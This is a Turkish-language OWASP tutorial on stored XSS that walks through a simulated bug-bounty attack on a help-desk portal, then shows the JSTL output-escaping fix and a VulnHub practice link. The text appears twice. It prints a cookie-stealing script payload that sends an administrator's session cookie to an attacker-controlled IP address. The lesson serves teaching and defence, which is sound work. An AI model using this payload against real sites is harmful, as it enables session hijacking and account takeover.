OWASP TOP 10 | STORED XSS
application.security üzerinden oluşturduğumuz OWASP TOP 10 yazı dizisinin bir önceki konusunda teorik olarak XSS den bahsettik. Reflected XSS
konusunu okumadan bu konuya geçmeyin.Simülasyon üzerinden Stored XSS açığını anlatmaya başlayalım.
İntermart isimli bir e-ticaret sitesi Bug bounty kapsamında ödül veriyor.Her zamanki gibi Bob isimli saldırganımız uygulamayı test etmek için penet-
rasyon testi gerçekleştiriyor.
İntermart yardım portalı üzerinden incelemeye başlıyor.
saldırganımız portalı incelediğinde “IssueSync Service Desk v1.93” yazılımı tarafından desteklendiğini görüyor. Yazılım incelediğinde v1.93 sürü-
münde bir ZeroDay olarak Stored XSS barındırdığını öğreniyor.
Saldırganımız 193.112.33.32 adresi üzerinde bir apache server çalıştırır ve “tail -f /www/access.log” komutuyla HTTP isteklerini anlık olarak istekleri
izlemeye başlar.
Portal üzerinden “Submit Issue” tıklayarak gelen sorun bildirme ekranı üzerinden XSS payloadı yönetici üzerinde çalıştırmayı deniyoruz. Amacımız
cookie bilgilerini çalmak
“<script>new Image().src="http://193.112.33.32/?cookie=" + document.cookie;</script>”
Şimdi bir yönetici gibi “https://intermart.issuesync.com” üzerinden oluşturulan hata bildirimlerini incelemek için giriş yapalım
Gördüğünüz gibi Project Error adıyla oluşturduğumuz başlık yönetici portalında gözüküyor.Eğer Stored XSS açığımız mevcut ise konu açıldığında
çalıştırdığımız kodlar yürütülecek ve kendi oluşturduğumuz apache servera GET isteği ile cookie bilgileri yönlendirilecek. Console ekranında tail
komutuyla access.log dosyasına yapılan istekleri anlık dinliyorduk. Bakalım tıkladığımızda cookieleri alabilecek miyiz.
Görüldüğü gibi konu açıldığında consol ekranımıza cookie bilgileri düştü. Bu şekilde sistem yöneticisine ait cookieyi çalmış olduk.
Açığın bulunduğu kaynak kodlarını incelediğimizde
Description alanından gelen veri hiçbir filtremeleden geçirilmeden yorumlanıyor.
JSTL kütüphanesi ile oluşturulan şablon <c
ut> tagına alınarak etkisiz hale getiriliyor. Fixlendixten sonra gönderilen payloadın çıktısı HTML yorum
satırı olarak gösterilmiş bi önceki ekran görüntüsüyle karşılaştırabilirsiniz.
Her konuda olduğu gibi pratik yapmak isteyenler https://www.vulnhub.com/entry/owasp-broken-web-applications-project-12,46/ makinesi üzerinden deneme yapabilirler.
application.security üzerinden oluşturduğumuz OWASP TOP 10 yazı dizisinin bir önceki konusunda teorik olarak XSS den bahsettik. Reflected XSS
konusunu okumadan bu konuya geçmeyin.Simülasyon üzerinden Stored XSS açığını anlatmaya başlayalım.
İntermart isimli bir e-ticaret sitesi Bug bounty kapsamında ödül veriyor.Her zamanki gibi Bob isimli saldırganımız uygulamayı test etmek için penet-
rasyon testi gerçekleştiriyor.
İntermart yardım portalı üzerinden incelemeye başlıyor.
saldırganımız portalı incelediğinde “IssueSync Service Desk v1.93” yazılımı tarafından desteklendiğini görüyor. Yazılım incelediğinde v1.93 sürü-
münde bir ZeroDay olarak Stored XSS barındırdığını öğreniyor.
Saldırganımız 193.112.33.32 adresi üzerinde bir apache server çalıştırır ve “tail -f /www/access.log” komutuyla HTTP isteklerini anlık olarak istekleri
izlemeye başlar.
Portal üzerinden “Submit Issue” tıklayarak gelen sorun bildirme ekranı üzerinden XSS payloadı yönetici üzerinde çalıştırmayı deniyoruz. Amacımız
cookie bilgilerini çalmak
“<script>new Image().src="http://193.112.33.32/?cookie=" + document.cookie;</script>”
Şimdi bir yönetici gibi “https://intermart.issuesync.com” üzerinden oluşturulan hata bildirimlerini incelemek için giriş yapalım
Gördüğünüz gibi Project Error adıyla oluşturduğumuz başlık yönetici portalında gözüküyor.Eğer Stored XSS açığımız mevcut ise konu açıldığında
çalıştırdığımız kodlar yürütülecek ve kendi oluşturduğumuz apache servera GET isteği ile cookie bilgileri yönlendirilecek. Console ekranında tail
komutuyla access.log dosyasına yapılan istekleri anlık dinliyorduk. Bakalım tıkladığımızda cookieleri alabilecek miyiz.
Görüldüğü gibi konu açıldığında consol ekranımıza cookie bilgileri düştü. Bu şekilde sistem yöneticisine ait cookieyi çalmış olduk.
Açığın bulunduğu kaynak kodlarını incelediğimizde
Description alanından gelen veri hiçbir filtremeleden geçirilmeden yorumlanıyor.
JSTL kütüphanesi ile oluşturulan şablon <c
ut> tagına alınarak etkisiz hale getiriliyor. Fixlendixten sonra gönderilen payloadın çıktısı HTML yorumsatırı olarak gösterilmiş bi önceki ekran görüntüsüyle karşılaştırabilirsiniz.
Her konuda olduğu gibi pratik yapmak isteyenler https://www.vulnhub.com/entry/owasp-broken-web-applications-project-12,46/ makinesi üzerinden deneme yapabilirler.